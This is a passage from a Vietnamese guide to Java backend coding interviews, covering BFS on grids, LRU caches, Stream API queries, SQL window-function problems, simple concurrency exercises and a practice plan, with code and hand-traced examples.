            int r = cur[0] + d[0], c = cur[1] + d[1];
            if (r < 0 || r >= m || c < 0 || c >= n || visited[r][c] || grid[r][c] == 1) continue;
            visited[r][c] = true; // mark when enqueued, not when dequeued
            queue.offer(new int[]{r, c, cur[2] + 1});
        }
    }
    return -1; // queue exhausted without reaching target: no path
}



Giải thích: BFS lấy ô ra khỏi queue theo đúng thứ tự khoảng cách tăng dần: mọi ô cách 1 bước được xử lý xong mới tới các ô cách 2 bước. Vì vậy lần đầu tiên ô đích được lấy ra, số bước đi kèm chắc chắn là nhỏ nhất. DFS không có tính chất này, nó có thể tới đích bằng một đường vòng trước.
1. Chạy tay lưới 3 x 3 [[0,0,0],[1,1,0],[0,0,0]] (hàng giữa có hai ô tường): từ (0,0) bước 0 chỉ đi được sang (0,1) bước 1, rồi (0,2) bước 2, xuống (1,2) bước 3, xuống (2,2) bước 4; khi lấy (2,2) ra thì trả 4.
1. Độ phức tạp: O(m·n) thời gian vì mỗi ô vào queue tối đa một lần và xét 4 hướng; O(m·n) bộ nhớ cho visited và queue.
1. Edge case: ô xuất phát hoặc ô đích là tường trả -1 ngay; lưới 1 x 1 [[0]] trả 0; không có đường trả -1; lưới rỗng thì grid[0] ném lỗi, nên hỏi đề trước. Cũng hỏi lại đề đếm "số bước di chuyển" hay "số ô trên đường đi" (khi đó cộng thêm 1).
Bảng chạy tay trên lưới có nhiều nhánh hơn, [[0,0,0],[0,1,0],[0,0,0]] (chỉ ô giữa là tường), nên có hai đường cùng dài 4 bước vòng quanh ô giữa. Thứ tự xét hướng theo mảng dirs: xuống, lên, phải, trái. Mỗi phần tử queue ghi dạng (hàng, cột, số bước).
	Lượt
	Lấy ra
	Đưa thêm vào queue
	Queue sau lượt

	1
	(0,0,0)
	(1,0,1), (0,1,1)
	(1,0,1) (0,1,1)

	2
	(1,0,1)
	(2,0,2)
	(0,1,1) (2,0,2)

	3
	(0,1,1)
	(0,2,2)
	(2,0,2) (0,2,2)

	4
	(2,0,2)
	(2,1,3)
	(0,2,2) (2,1,3)

	5
	(0,2,2)
	(1,2,3)
	(2,1,3) (1,2,3)

	6
	(2,1,3)
	(2,2,4)
	(1,2,3) (2,2,4)

	7
	(1,2,3)
	không có: (2,2) đã visited
	(2,2,4)

	8
	(2,2,4)
	là ô đích
	trả 4



Bảng cho thấy hai điều. Thứ nhất, số bước của các phần tử lấy ra luôn không giảm (0, 1, 1, 2, 2, 3, 3, 4), đúng tính chất "loang theo vòng". Thứ hai, ở lượt 7, ô (2,2) đã được đánh dấu visited từ lượt 6 nên không bị đưa vào queue lần nữa; nếu đợi tới lúc lấy ra mới đánh dấu, (2,2) sẽ nằm trong queue hai lần.
	BẪY THƯỜNG GẶP
DFS đệ quy trên lưới lớn (ví dụ 2000 x 2000) có thể gây StackOverflowError vì độ sâu đệ quy tới hàng triệu. Nói được điều này và đề xuất BFS hoặc DFS dùng stack tường minh là dấu hiệu của người có kinh nghiệm. Lỗi phổ biến khác là đánh dấu visited lúc lấy ra khỏi queue, khiến một ô bị đưa vào queue nhiều lần.



12.9 LRU Cache
Đây là bài "thiết kế nhỏ" yêu thích của tôi với ứng viên middle, vì nó nối giải thuật với thực tế (cache cục bộ, Caffeine, Redis eviction policy). Yêu cầu: get và put đều O(1), vượt sức chứa thì bỏ phần tử lâu nhất chưa được dùng.
	NHẮC LẠI KIẾN THỨC
LinkedHashMap là HashMap có thêm một danh sách liên kết đôi nối các entry, nên vừa tra cứu O(1) vừa nhớ được thứ tự (thứ tự chèn, hoặc thứ tự truy cập nếu bật accessOrder). Xem N1.11 và mục 1.5.



Ý tưởng bằng lời thường: LRU (Least Recently Used) nghĩa là "lâu nhất chưa được dùng". Hãy nghĩ tới một bàn làm việc chỉ để vừa 2 cuốn sách. Cuốn nào vừa đọc thì đặt lên trên cùng chồng sách. Khi cần đặt cuốn thứ 3 lên bàn mà bàn đã đầy, bạn cất cuốn nằm dưới đáy chồng, vì đó là cuốn lâu nhất chưa đụng tới. Cache cũng vậy: bộ nhớ có hạn, giữ lại những thứ vừa được dùng vì chúng có khả năng được dùng lại cao nhất.
Cách 1, nếu người phỏng vấn cho phép dùng thư viện chuẩn: LinkedHashMap với accessOrder = true.
	import java.util.*;
 
public class LruCache<K, V> extends LinkedHashMap<K, V> {
    private final int capacity;
 
    public LruCache(int capacity) {
        super(16, 0.75f, true); // accessOrder = true: get/put moves the entry to the tail
        this.capacity = capacity;
    }
 
    @Override
    protected boolean removeEldestEntry(Map.Entry<K, V> eldest) {
        return size() > capacity; // over capacity -> evict least recently used (head)
    }
}



Giải thích: LinkedHashMap là HashMap cộng thêm một danh sách liên kết đôi nối các entry. Với accessOrder = true, mỗi lần get hoặc put một key, entry đó được chuyển về cuối danh sách, nên đầu danh sách luôn là entry lâu chưa dùng nhất. Sau mỗi lần put, LinkedHashMap tự gọi removeEldestEntry; trả true thì entry đầu danh sách bị xóa.
1. Chạy tay với capacity = 2: put(1), put(2) cho thứ tự 1, 2; get(1) chuyển 1 về cuối thành 2, 1; put(3) làm size = 3 > 2 nên xóa entry đầu là 2, còn 1, 3; get(2) trả null.
1. Độ phức tạp: get và put O(1) trung bình; bộ nhớ O(capacity).
1. Edge case: capacity ≤ 0 khiến mọi entry bị xóa ngay sau khi thêm, nên kiểm tra tham số trong constructor. Kế thừa LinkedHashMap cũng làm lộ mọi method của Map ra ngoài (ai đó gọi putAll, entrySet vẫn được); nếu người phỏng vấn để ý tính đóng gói, hãy chuyển sang composition: class bọc một LinkedHashMap private và chỉ lộ get/put.
Đoạn code dưới đây chạy thật một chuỗi thao tác trên cache sức chứa 2 và in thứ tự key sau mỗi bước (đầu danh sách là entry lâu chưa dùng nhất), để bạn đối chiếu với bảng chạy tay.
	import java.util.*;
 
public class LruDemo {
    public static void main(String[] args) {
        Map<Integer, String> lru = new LinkedHashMap<>(16, 0.75f, true) {
            @Override
            protected boolean removeEldestEntry(Map.Entry<Integer, String> eldest) {
                return size() > 2; // capacity = 2
            }
        };
        lru.put(1, "A"); lru.put(2, "B");
        System.out.println(lru.keySet()); // prints: [1, 2]
        lru.get(1);
        System.out.println(lru.keySet()); // prints: [2, 1]
        lru.put(3, "C");                  // evicts 2
        System.out.println(lru.keySet()); // prints: [1, 3]
        System.out.println(lru.get(2));   // prints: null
        lru.put(1, "A2");                 // update also counts as access
        lru.put(4, "D");                  // evicts 3
        System.out.println(lru.keySet()); // prints: [1, 4]
    }
}



Giải thích: chương trình in [1, 2], [2, 1], [1, 3], null, [1, 4]. Bảng dưới đây đi qua từng thao tác:
	Thao tác
	Kết quả trả về
	Thứ tự sau thao tác (cũ → mới)
	Ghi chú

	put(1), put(2)
	
	1, 2
	chưa vượt sức chứa

	get(1)
	A
	2, 1
	1 vừa được dùng, chuyển về cuối

	put(3)
	
	1, 3
	size = 3 > 2, xóa đầu danh sách là 2

	get(2)
	null
	1, 3
	2 đã bị loại

	put(1, A2)
	
	3, 1
	cập nhật cũng tính là truy cập

	put(4)
	
	1, 4
	xóa 3, lâu chưa dùng nhất



Nếu tạo LinkedHashMap với accessOrder = false (mặc định), get(1) không đổi thứ tự và put(3) sẽ xóa 1 thay vì 2; khi đó cache thành FIFO (vào trước ra trước), không còn là LRU.
Cách 2, thường được yêu cầu ngay sau đó: tự cài bằng HashMap (tra cứu O(1)) cộng danh sách liên kết đôi (di chuyển, xóa node O(1)). Khung lời giải bạn cần nói ra trước khi code:
1. Mỗi Node giữ key, value, prev, next. Node phải lưu cả key để khi evict còn biết xóa entry nào khỏi map.
1. Dùng hai node canh head và tail (sentinel) để thao tác chèn/xóa không phải kiểm tra null ở biên.
1. get: không có thì trả -1; có thì tách node ra và chèn lại ngay sau head.
1. put: key đã có thì cập nhật value và đưa lên đầu; nếu map đã đầy thì xóa node sát tail (lâu chưa dùng nhất) khỏi cả list lẫn map, rồi chèn node mới sau head.
1. Hai hàm phụ unlink(node) và addFirst(node) mỗi hàm chỉ 2–4 dòng gán con trỏ. Tách chúng ra thì get/put gần như đọc được bằng tiếng Việt.
	CÂU HỎI ĐÀO SÂU
"Cache này có thread-safe không?" Không. Cách đơn giản nhất là bọc get/put bằng synchronized hoặc ReentrantLock, chấp nhận nghẽn khi tải cao. Lưu ý với LinkedHashMap accessOrder, ngay cả get cũng sửa cấu trúc danh sách nên không thể dùng ReadWriteLock cho phép nhiều reader. Trong production, tôi muốn nghe bạn nói "em sẽ dùng Caffeine chứ không tự viết", và biết cách đo hit rate trước khi quyết định kích thước cache.



12.10 Bài Stream API
	NHẮC LẠI KIẾN THỨC
Stream là một "dây chuyền" xử lý dữ liệu: nguồn (list, mảng) đi qua các bước trung gian như filter, map, sorted và kết thúc bằng một bước cuối như collect, count. Các bước trung gian chỉ chạy khi có bước cuối. Cú pháp lambda và method reference (Order::amount) xem N1.15 và mục 1.8.



Với 2–4 năm, gần như chắc chắn bạn sẽ được yêu cầu viết Stream trên giấy hoặc trong editor không có gợi ý code. Dạng hay gặp: gom nhóm và tính tổng, top N, đếm tần suất, chia hai nhóm. Biến thể "phần tử lớn nhất mỗi nhóm" dùng Collectors.maxBy làm downstream collector.
Hai đoạn dưới đây dùng chung một record Order và một danh sách orders; đề thường cho sẵn dữ liệu kiểu này và yêu cầu viết từng câu truy vấn.
	import java.util.*;
import java.util.function.Function;
import java.util.stream.Collectors;
 
public class StreamQueries {
    record Order(String customer, String category, long amount) {}
 
    public static void main(String[] args) {
        // Sample data: the same orders as the worked example below
        List<Order> orders = List.of(
            new Order("An", "sách", 100), new Order("Bình", "sách", 300), new Order("An", "đồ ăn", 250),
            new Order("Chi", "đồ ăn", 50), new Order("Dũng", "sách", 80));
 
        // 1. Total amount per category
        Map<String, Long> totalByCategory = orders.stream()
            .collect(Collectors.groupingBy(Order::category, Collectors.summingLong(Order::amount))); // key -> sum of amount
 
        // 2. Top 3 customers by spending
        List<String> top3 = orders.stream()
            .collect(Collectors.groupingBy(Order::customer, Collectors.summingLong(Order::amount))) // customer -> total spent
            .entrySet().stream()
            .sorted(Map.Entry.<String, Long>comparingByValue().reversed()) // explicit type witness required, see explanation
            .limit(3)
            .map(Map.Entry::getKey)
            .toList();
 
        System.out.println(totalByCategory.get("sách") + " " + totalByCategory.get("đồ ăn")); // prints: 480 300
        System.out.println(top3);                                                              // prints: [An, Bình, Dũng]
    }
}



Giải thích: groupingBy gom các phần tử có cùng key vào một nhóm, còn collector thứ hai (downstream) quyết định mỗi nhóm được thu gọn thành gì, ở đây là tổng amount. Câu 2 làm hai bước: gom thành map "khách hàng → tổng chi", rồi stream lại các entry của map để sort giảm dần và lấy 3 phần tử đầu.
1. Chạy tay với các đơn (An, sách, 100), (Bình, sách, 300), (An, đồ ăn, 250), (Chi, đồ ăn, 50), (Dũng, sách, 80): câu 1 cho {sách=480, đồ ăn=300}; câu 2 gom được {An=350, Bình=300, Chi=50, Dũng=80}, sort giảm dần và lấy 3 cho [An, Bình, Dũng].
1. Vì sao phải viết Map.Entry.<String, Long>comparingByValue(): khi nối thêm .reversed(), Java không suy ra được kiểu generic từ ngữ cảnh nữa và báo lỗi biên dịch, nên phải chỉ rõ kiểu.
1. Edge case: orders rỗng thì cả hai kết quả rỗng; ít hơn 3 khách thì limit(3) trả ít hơn 3; hai khách bằng tiền nhau thì thứ tự giữa họ không xác định (map gốc là HashMap), cần thêm thenComparing(Map.Entry::getKey) nếu đề yêu cầu ổn định.
Hai câu tiếp theo cũng rất hay gặp: đếm số lần xuất hiện của mỗi từ trong một đoạn văn bản text, và chia danh sách đơn thành hai nhóm theo giá trị.
	import java.util.*;
import java.util.function.Function;
import java.util.stream.Collectors;
 
public class StreamQueries2 {
    record Order(String customer, String category, long amount) {}
 
    public static void main(String[] args) {
        // Sample input (the same shape as in the previous block)
        String text = "  to be or not to be ";
        List<Order> orders = List.of(
            new Order("An", "book", 1200), new Order("Binh", "toy", 300), new Order("An", "toy", 800));
 
        // 3. Word frequency
        Map<String, Long> wordCount = Arrays.stream(text.trim().split("\\s+")) // trim first to avoid a leading empty token
            .collect(Collectors.groupingBy(Function.identity(), Collectors.counting())); // word -> count
 
        // 4. Split into 2 groups: orders >= 1000 and small orders
        Map<Boolean, List<Order>> bigOrSmall = orders.stream()
            .collect(Collectors.partitioningBy(o -> o.amount() >= 1000)); // always has both keys true/false
 
        System.out.println(wordCount.get("to") + " " + wordCount.get("or"));                      // prints: 2 1
        System.out.println(bigOrSmall.get(true).size() + " " + bigOrSmall.get(false).size());     // prints: 1 2
    }
}



Giải thích: câu 3 tách chuỗi theo một hoặc nhiều khoảng trắng, rồi gom theo chính từ đó (Function.identity()) và đếm số phần tử mỗi nhóm. Câu 4 là trường hợp đặc biệt của gom nhóm với key chỉ có hai giá trị.
1. Chạy tay text = "  to be or not to be ": sau trim và split được [to, be, or, not, to, be], kết quả {to=2, be=2, or=1, not=1}. Nếu bỏ trim, khoảng trắng ở đầu chuỗi sinh ra một phần tử rỗng "" và bị đếm như một từ.
1. Edge case: text rỗng thì "".split("\\s+") trả về mảng một phần tử rỗng, kết quả là {""=1} chứ không phải map rỗng, nên kiểm tra isBlank() trước; "To" và "to" bị đếm là hai từ khác nhau nếu không chuẩn hóa về chữ thường. Với câu 4, khác groupingBy, partitioningBy luôn trả về đủ hai key true và false, kể cả khi một nhóm rỗng, nên đọc bigOrSmall.get(true) không bao giờ bị null.
Độ phức tạp: bước gom nhóm O(n), bước sort để lấy top N là O(k log k) với k là số khách hàng. Nếu k rất lớn mà N nhỏ, có thể dùng PriorityQueue kích thước N để còn O(k log N).
	BẪY THƯỜNG GẶP
Hai lỗi hay gặp: dùng Collectors.toMap khi key có thể trùng mà không truyền hàm merge (ném IllegalStateException), và tách từ bằng split("\\W+") với văn bản tiếng Việt, vì \W coi chữ có dấu là ký tự phân tách. Ngoài ra, .toList() (Java 16+) trả về list không sửa được, khác với Collectors.toList(); biết điểm này là cộng điểm.



12.11 Bài SQL trên giấy
	NHẮC LẠI KIẾN THỨC
Thứ tự thực thi logic của một câu SELECT: FROM/JOIN, WHERE, GROUP BY, HAVING, window function, SELECT, ORDER BY, LIMIT. Vì vậy WHERE không nhìn thấy kết quả của window function hay alias đặt trong SELECT. GROUP BY, HAVING và các bài SQL kinh điển mức cơ bản xem N2.2, N2.3; window function và index xem mục 6.1, 6.2.



Hầu hết vòng phỏng vấn backend tại Việt Nam có ít nhất một câu SQL viết tay. Ba bài kinh điển là lương cao thứ hai, top N mỗi nhóm và tìm/xóa bản ghi trùng. Ở mức 2–4 năm, tôi kỳ vọng bạn dùng được window function (MySQL 8+, PostgreSQL, Oracle, SQL Server đều hỗ trợ).
Ba câu đầu dưới đây làm việc trên bảng employee(id, name, department_id, salary).
	-- 2nd highest salary: NULL if none, unaffected by ties at the top
SELECT MAX(salary) AS second_highest
FROM employee
WHERE salary < (SELECT MAX(salary) FROM employee);  -- drop every row equal to the max
 
-- General form for the Nth highest salary
SELECT DISTINCT salary
FROM (SELECT salary, DENSE_RANK() OVER (ORDER BY salary DESC) AS rnk FROM employee) t
WHERE rnk = 2;  -- replace 2 with N
 
-- Top 3 salary levels per department
SELECT department_id, name, salary
FROM (
  SELECT e.*, DENSE_RANK() OVER (PARTITION BY department_id ORDER BY salary DESC) AS rnk  -- rank restarts in each department
  FROM employee e
) t
WHERE rnk <= 3;



Giải thích: câu 1 loại toàn bộ những người có mức lương cao nhất rồi lấy MAX của phần còn lại. Câu 2 và 3 dùng window function: DENSE_RANK() gán hạng cho từng dòng mà không gom dòng lại như GROUP BY, còn PARTITION BY làm việc xếp hạng bắt đầu lại từ 1 ở mỗi phòng ban. Không lọc rnk trực tiếp trong WHERE được vì WHERE chạy trước window function, nên phải bọc trong subquery t.
1. Chạy tay với dữ liệu: phòng 1 có A = 100, B = 100, C = 90; phòng 2 có D = 80. Câu 1: MAX là 100, còn lại 90 và 80, trả 90. Câu 2: hạng lần lượt 1, 1, 2, 3 nên rnk = 2 là 90; DISTINCT cần thiết khi nhiều người cùng mức lương đó. Câu 3: phòng 1 có A, B hạng 1, C hạng 2; phòng 2 có D hạng 1; cả 4 dòng đều thỏa rnk <= 3.
1. Lưu ý "top 3 mức lương" với DENSE_RANK có thể trả nhiều hơn 3 người mỗi phòng khi có người bằng lương; nếu đề muốn đúng 3 người thì đổi sang ROW_NUMBER.
1. Độ phức tạp: window function cần sort theo phân vùng, cỡ O(n log n); index (department_id, salary) giúp DB tránh bước sort.
1. Edge case: bảng rỗng hoặc mọi người cùng lương thì câu 1 trả một dòng NULL, câu 2 trả rỗng. Cột salary có NULL: MAX bỏ qua NULL, nhưng PostgreSQL xếp NULL lên đầu khi ORDER BY ... DESC nên NULL sẽ chiếm hạng 1; thêm WHERE salary IS NOT NULL hoặc NULLS LAST.
Hai câu tiếp theo xử lý bảng users(id, email) bị trùng email do thiếu unique constraint.
	-- Find duplicated emails and their counts
SELECT email, COUNT(*) AS cnt
FROM users
GROUP BY email
HAVING COUNT(*) > 1;  -- HAVING filters after grouping
 
-- Delete duplicates, keep the smallest id
DELETE FROM users
WHERE id IN (
  SELECT id FROM (
    SELECT id, ROW_NUMBER() OVER (PARTITION BY email ORDER BY id) AS rn FROM users  -- smallest id gets rn = 1
  ) t
  WHERE rn > 1  -- every other copy
);



Giải thích: câu tìm trùng gom theo email và chỉ giữ nhóm có hơn một dòng. Câu xóa đánh số các dòng trong cùng một email theo id tăng dần; dòng số 1 được giữ, các dòng số 2 trở đi bị xóa. ROW_NUMBER là lựa chọn đúng ở đây vì nó luôn đánh số liên tiếp, không bao giờ có hai dòng cùng số như RANK.
1. Chạy tay: users có (1, a@x), (2, b@x), (3, a@x), (4, a@x). Câu tìm trùng trả a@x | 3. Trong câu xóa, a@x được đánh số id 1 là 1, id 3 là 2, id 4 là 3; b@x có id 2 là 1. Các id 3 và 4 bị xóa, bảng còn id 1 và 2.
1. Subquery bọc hai lớp (SELECT id FROM (...) t) không thừa: MySQL không cho DELETE một bảng mà subquery lại đọc trực tiếp từ chính bảng đó (lỗi 1093), bọc thêm một lớp derived table là cách vượt qua. PostgreSQL không cần nhưng viết vậy vẫn chạy.
1. Độ phức tạp: sort theo (email, id) cỡ O(n log n); có index trên email thì nhanh hơn nhiều.
1. Edge case: email khác nhau chỉ ở chữ hoa, chữ thường (A@x và a@x) cần PARTITION BY LOWER(email) nếu nghiệp vụ coi là trùng; email NULL bị gom chung một nhóm trong cả GROUP BY lẫn PARTITION BY, nên câu xóa sẽ xóa hết các dòng email NULL trừ một dòng, cần thêm WHERE email IS NOT NULL trong subquery.
	Hàm
	Kết quả với lương 100, 100, 90
	Khi nào dùng

	ROW_NUMBER
	1, 2, 3
	Cần đúng N dòng, khử trùng

	RANK
	1, 1, 3
	Xếp hạng có nhảy bậc

	DENSE_RANK
	1, 1, 2
	"Mức lương cao thứ N"



	MẸO TỪ NGƯỜI PHỎNG VẤN
Câu SELECT salary FROM employee ORDER BY salary DESC LIMIT 1 OFFSET 1 sai khi hai người cùng lương cao nhất. Hãy chủ động nói ra edge case này trước khi người phỏng vấn hỏi. Và khi viết DELETE, nói thêm "trên production em sẽ chạy câu SELECT trước để đếm số dòng, làm trong transaction, sau đó thêm unique constraint để trùng không quay lại". Đó là câu trả lời của người đã từng làm thật.



12.12 Bài concurrency nhỏ
	NHẮC LẠI KIẾN THỨC
Mỗi object Java có một "monitor" (khóa ngầm): synchronized chiếm khóa đó, wait() nhả khóa và ngủ, notify/notifyAll đánh thức thread đang chờ trên cùng object (xem N1.13 và mục 3.4). BlockingQueue, Semaphore, CountDownLatch là các công cụ đồng bộ dựng sẵn trong java.util.concurrent, xem mục 3.8. Race condition và vì sao count++ không an toàn xem mục 3.3, 3.4.



Bài đa luồng trong live coding thường ngắn, nhưng lộ rất rõ bạn hiểu wait/notify, BlockingQueue và interrupt tới đâu. Hai bài phổ biến nhất là producer-consumer và in số chẵn lẻ bằng hai thread.
Producer-consumer: đừng tự viết bằng wait/notify trừ khi bị yêu cầu. BlockingQueue đã xử lý toàn bộ việc chờ và đánh thức.
	import java.util.concurrent.*;
 
public class ProducerConsumer {
    private static final int POISON = -1; // "poison pill": end-of-data signal
 
    public static void main(String[] args) throws InterruptedException {
        BlockingQueue<Integer> queue = new ArrayBlockingQueue<>(10); // bounded -> back-pressure
        Thread producer = new Thread(() -> {
            try {
                for (int i = 1; i <= 20; i++) queue.put(i); // put() blocks when full
                queue.put(POISON);
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt(); // restore the interrupt flag, do not swallow it
            }
        });
        Thread consumer = new Thread(() -> {
            try {
                while (true) {
                    int item = queue.take(); // take() blocks when empty
                    if (item == POISON) break;
                    System.out.println("Xử lý " + item);
                }
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
            }
        });
        producer.start(); consumer.start();
        producer.join(); consumer.join(); // main waits for both to finish
    }
}



Giải thích: hàng đợi có giới hạn là điểm hẹn giữa hai thread: producer nhanh hơn thì bị chặn ở put() khi đầy (back-pressure tự nhiên, không tràn bộ nhớ), consumer nhanh hơn thì bị chặn ở take() khi rỗng. Mọi việc khóa, chờ và đánh thức đã nằm trong ArrayBlockingQueue, nên code không có synchronized hay wait/notify nào.
1. Chạy tay: producer đẩy 1..10 thì queue đầy và producer dừng ở put(11); consumer lấy 1 ra in "Xử lý 1", queue có chỗ trống nên producer đẩy tiếp 11. Cứ thế đến khi consumer in "Xử lý 20" rồi lấy được POISON, thoát vòng lặp; join() trả về và chương trình kết thúc. Thứ tự in luôn là 1 đến 20 vì queue là FIFO.
1. Vì sao cần poison pill: nếu không có tín hiệu kết thúc, consumer sẽ nằm chờ mãi ở take() sau phần tử cuối và consumer.join() không bao giờ trả về.
1. Độ phức tạp: O(n) với n là số phần tử; bộ nhớ O(capacity) = 10 dù sinh ra bao nhiêu phần tử.
1. Edge case: có k consumer thì phải gửi k poison pill, mỗi consumer nhận một; giá trị -1 không được trùng dữ liệu thật; nếu producer chết giữa chừng mà chưa gửi POISON thì consumer treo, nên gửi poison pill trong finally hoặc dùng poll(timeout).
In chẵn lẻ luân phiên: bài này kiểm tra đúng kiến thức monitor. Hai thread cùng khóa trên một object, mỗi thread chờ tới lượt của mình.
	public class OddEvenPrinter {
    private static final int MAX = 10;
    private int current = 1; // only accessed inside synchronized, so no volatile needed
 
    private synchronized void printTurns(boolean odd) {
        try {
            while (current <= MAX) {
                // while, not if: guards against spurious and wrong-turn wakeups
                while (current <= MAX && (current % 2 == 1) != odd) wait();
                if (current > MAX) break;
                System.out.println(Thread.currentThread().getName() + ": " + current++);
                notifyAll(); // wake the other thread
            }
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
        }
    }
 
    public static void main(String[] args) throws InterruptedException {
        var printer = new OddEvenPrinter();
        Thread odd = new Thread(() -> printer.printTurns(true), "Odd");
        Thread even = new Thread(() -> printer.printTurns(false), "Even");
        odd.start(); even.start();
        odd.join(); even.join();
    }
}



Giải thích: hai thread dùng chung monitor của object printer. Thread nào chưa tới lượt thì gọi wait(): nhả khóa và ngủ cho tới khi được đánh thức. Thread tới lượt in một số, tăng current, rồi notifyAll() để thread kia dậy kiểm tra lại điều kiện.
1. Chạy tay: giả sử thread Even giành được khóa trước; current = 1 là lẻ, chưa tới lượt nên Even wait() và nhả khóa. Odd vào, in "Odd: 1", current = 2, gọi notifyAll(), vòng lặp tiếp theo thấy 2 không phải lượt mình nên wait(). Even dậy, in "Even: 2", và cứ luân phiên như vậy. Sau khi Even in 10, current = 11; Odd dậy, điều kiện current <= MAX ở vòng while trong đã sai nên thoát, gặp break; Even cũng thoát vòng ngoài. Kết quả là Odd: 1, Even: 2, ..., Even: 10 theo đúng thứ tự, bất kể thread nào khởi động trước.
1. Vì sao vòng while trong có thêm current <= MAX &&: đây là điều kiện phòng thủ để thread nào bị đánh thức sau khi số cuối đã in đều thoát ra, thay vì quay lại wait() mà không còn ai gọi notifyAll(). Với hai thread chẵn lẻ, thread còn lại luôn thấy "tới lượt mình" nên vẫn thoát được; nhưng khi mở rộng thành ba thread in luân phiên theo số dư khi chia 3, thiếu điều kiện này sẽ có một thread chờ mãi mãi và join() treo.
1. Độ phức tạp: O(MAX) lần in, nhưng mỗi lần in kèm một lần chuyển ngữ cảnh giữa hai thread, nên cách làm này chỉ để minh họa cơ chế, không nhanh.
1. Edge case: MAX = 0 thì không in gì và cả hai thread kết thúc ngay; bị interrupt thì khôi phục cờ interrupt và thoát.
	CÂU HỎI ĐÀO SÂU
"Viết lại bằng cách khác được không?" Dùng hai Semaphore: oddTurn khởi tạo 1 permit, evenTurn khởi tạo 0; thread lẻ acquire oddTurn, in, rồi release evenTurn và ngược lại. Câu hỏi tiếp theo thường là "vì sao gọi wait() ngoài synchronized thì lỗi?": vì thread phải giữ monitor mới được chờ trên nó, nếu không sẽ ném IllegalMonitorStateException. Và "vì sao notifyAll chứ không phải notify?": với hai thread thì notify cũng chạy, nhưng khi có nhiều thread chờ các điều kiện khác nhau, notify có thể đánh thức nhầm thread và gây treo.



12.13 Kế hoạch luyện tập 4–6 tuần
Mục tiêu không phải là số bài thật nhiều, mà là nhận ra dạng trong 2–3 phút đầu và code sạch trong 20–25 phút. Khoảng 60–80 bài easy/medium chọn đúng chủ đề là đủ cho vị trí middle tại phần lớn công ty Việt Nam. Mỗi ngày 2–3 bài, mỗi bài đặt giờ, luôn nói to quy trình 6 bước như đang phỏng vấn thật.
	Tuần
	Chủ đề
	Số bài
	Bài gợi ý trên LeetCode

	1
	Array, String, HashMap
	12–15
	Two Sum, Valid Anagram, Group Anagrams, First Unique Character

	2
	Two pointers, Sliding window
	10–12
	Longest Substring Without Repeating, Container With Most Water

	3
	Stack, Queue, Sort, Interval
	10–12
	Valid Parentheses, Merge Intervals, Daily Temperatures

	4
	Binary search, Heap, Linked list
	10–12
	Search Insert Position, Top K Frequent, LRU Cache

	5
	Tree, BFS/DFS
	10–12
	Number of Islands, Binary Tree Level Order, Max Depth

	6
	SQL, Stream, Concurrency, ôn lại
	10–15
	Second Highest Salary, Department Top Three, Print FooBar Alternately



Một vài nguyên tắc để kế hoạch này hiệu quả:
1. Kẹt quá 25 phút thì xem lời giải, hiểu rồi đóng lại, 2 ngày sau tự code lại từ đầu. Bài làm lại được mới là bài của bạn.
1. Luyện trong editor không có auto-complete ít nhất một nửa số bài, vì nhiều công ty dùng công cụ chia sẻ code không có gợi ý.
1. Ghi sổ tay mẫu tư duy: "đoạn con liên tiếp thì sliding window", "top K thì heap", "ngắn nhất không trọng số thì BFS". Trước buổi phỏng vấn chỉ cần đọc lại sổ này.
1. Tuần cuối, nhờ bạn bè phỏng vấn thử 2–3 buổi, có người ngồi nghe bạn nói mới lộ ra những lúc bạn im lặng.
1. Bài Stream và SQL tự đặt đề từ domain dự án của bạn (đơn hàng, giao dịch, người dùng) sẽ sát thực tế hơn nhiều so với đề mẫu.
12.14 Bài tập tự luyện
Sáu bài dưới đây mỗi bài ứng với một dạng đã học trong chương. Hãy tự làm trước theo quy trình 6 bước ở mục 12.2: nói lại đề, hỏi ràng buộc, chạy tay bằng bảng trạng thái, rồi mới mở đáp án. Mỗi bài nên xong trong 15–20 phút.
Câu hỏi (Thực chiến): Bài tập 1 (HashMap) – Tìm giá trị xuất hiện nhiều nhất trong mảng
Đề: cho mảng số nguyên khác rỗng, trả về giá trị xuất hiện nhiều lần nhất; nếu nhiều giá trị cùng số lần thì trả giá trị nhỏ nhất. Ví dụ [4, 1, 2, 2, 4, 3] trả 2 (2 và 4 cùng xuất hiện 2 lần, 2 nhỏ hơn).
Gợi ý: đếm tần suất bằng Map.merge, sau đó duyệt map một lượt để chọn; đừng quên luật hòa.
Đáp án:
Đếm tần suất một lượt O(n), rồi duyệt map một lượt O(k) để chọn giá trị tốt nhất theo hai tiêu chí: số lần giảm dần, giá trị tăng dần.
	import java.util.*;
 
public class MostFrequent {
    static int mostFrequent(int[] nums) {
        Map<Integer, Integer> freq = new HashMap<>();
        for (int x : nums) freq.merge(x, 1, Integer::sum); // value -> count
        int best = nums[0];
        for (Map.Entry<Integer, Integer> e : freq.entrySet()) {
            int value = e.getKey(), count = e.getValue(), bestCount = freq.get(best);
            if (count > bestCount || (count == bestCount && value < best)) best = value; // tie: smaller wins
        }
        return best;
    }
 
    public static void main(String[] args) {
        System.out.println(mostFrequent(new int[]{4, 1, 2, 2, 4, 3})); // prints: 2
        System.out.println(mostFrequent(new int[]{7}));                // prints: 7
    }
}



Giải thích: sau lượt đếm, map là {1=1, 2=2, 3=1, 4=2}. Lượt chọn so từng entry với best: giá trị 2 và 4 cùng 2 lần, luật hòa giữ 2. Vì HashMap không có thứ tự, luật hòa phải nằm trong điều kiện so sánh chứ không được dựa vào "gặp trước". Độ phức tạp O(n) thời gian, O(k) bộ nhớ với k là số giá trị khác nhau. Mảng rỗng sẽ ném ArrayIndexOutOfBoundsException ở nums[0], nên hỏi đề và kiểm tra trước nếu cần.
Câu hỏi (Thực chiến): Bài tập 2 (Sliding window) – Tổng lớn nhất của k phần tử liên tiếp
Đề: cho mảng số nguyên và số k (1 ≤ k ≤ độ dài mảng), tìm tổng lớn nhất của một đoạn gồm đúng k phần tử liên tiếp. Ví dụ [2, 1, 5, 1, 3, 2], k = 3 trả 9 (đoạn 5, 1, 3).
Gợi ý: brute-force tính lại tổng mỗi đoạn tốn O(n·k). Khi cửa sổ trượt một ô, chỉ có một phần tử vào và một phần tử ra.
Đáp án:
Cửa sổ kích thước cố định: tính tổng k phần tử đầu, sau đó mỗi bước cộng phần tử mới vào và trừ phần tử rời cửa sổ, O(n) thời gian, O(1) bộ nhớ.
	public class MaxWindowSum {
    static int maxWindowSum(int[] a, int k) {
        int sum = 0;
        for (int i = 0; i < k; i++) sum += a[i]; // first window
        int best = sum;
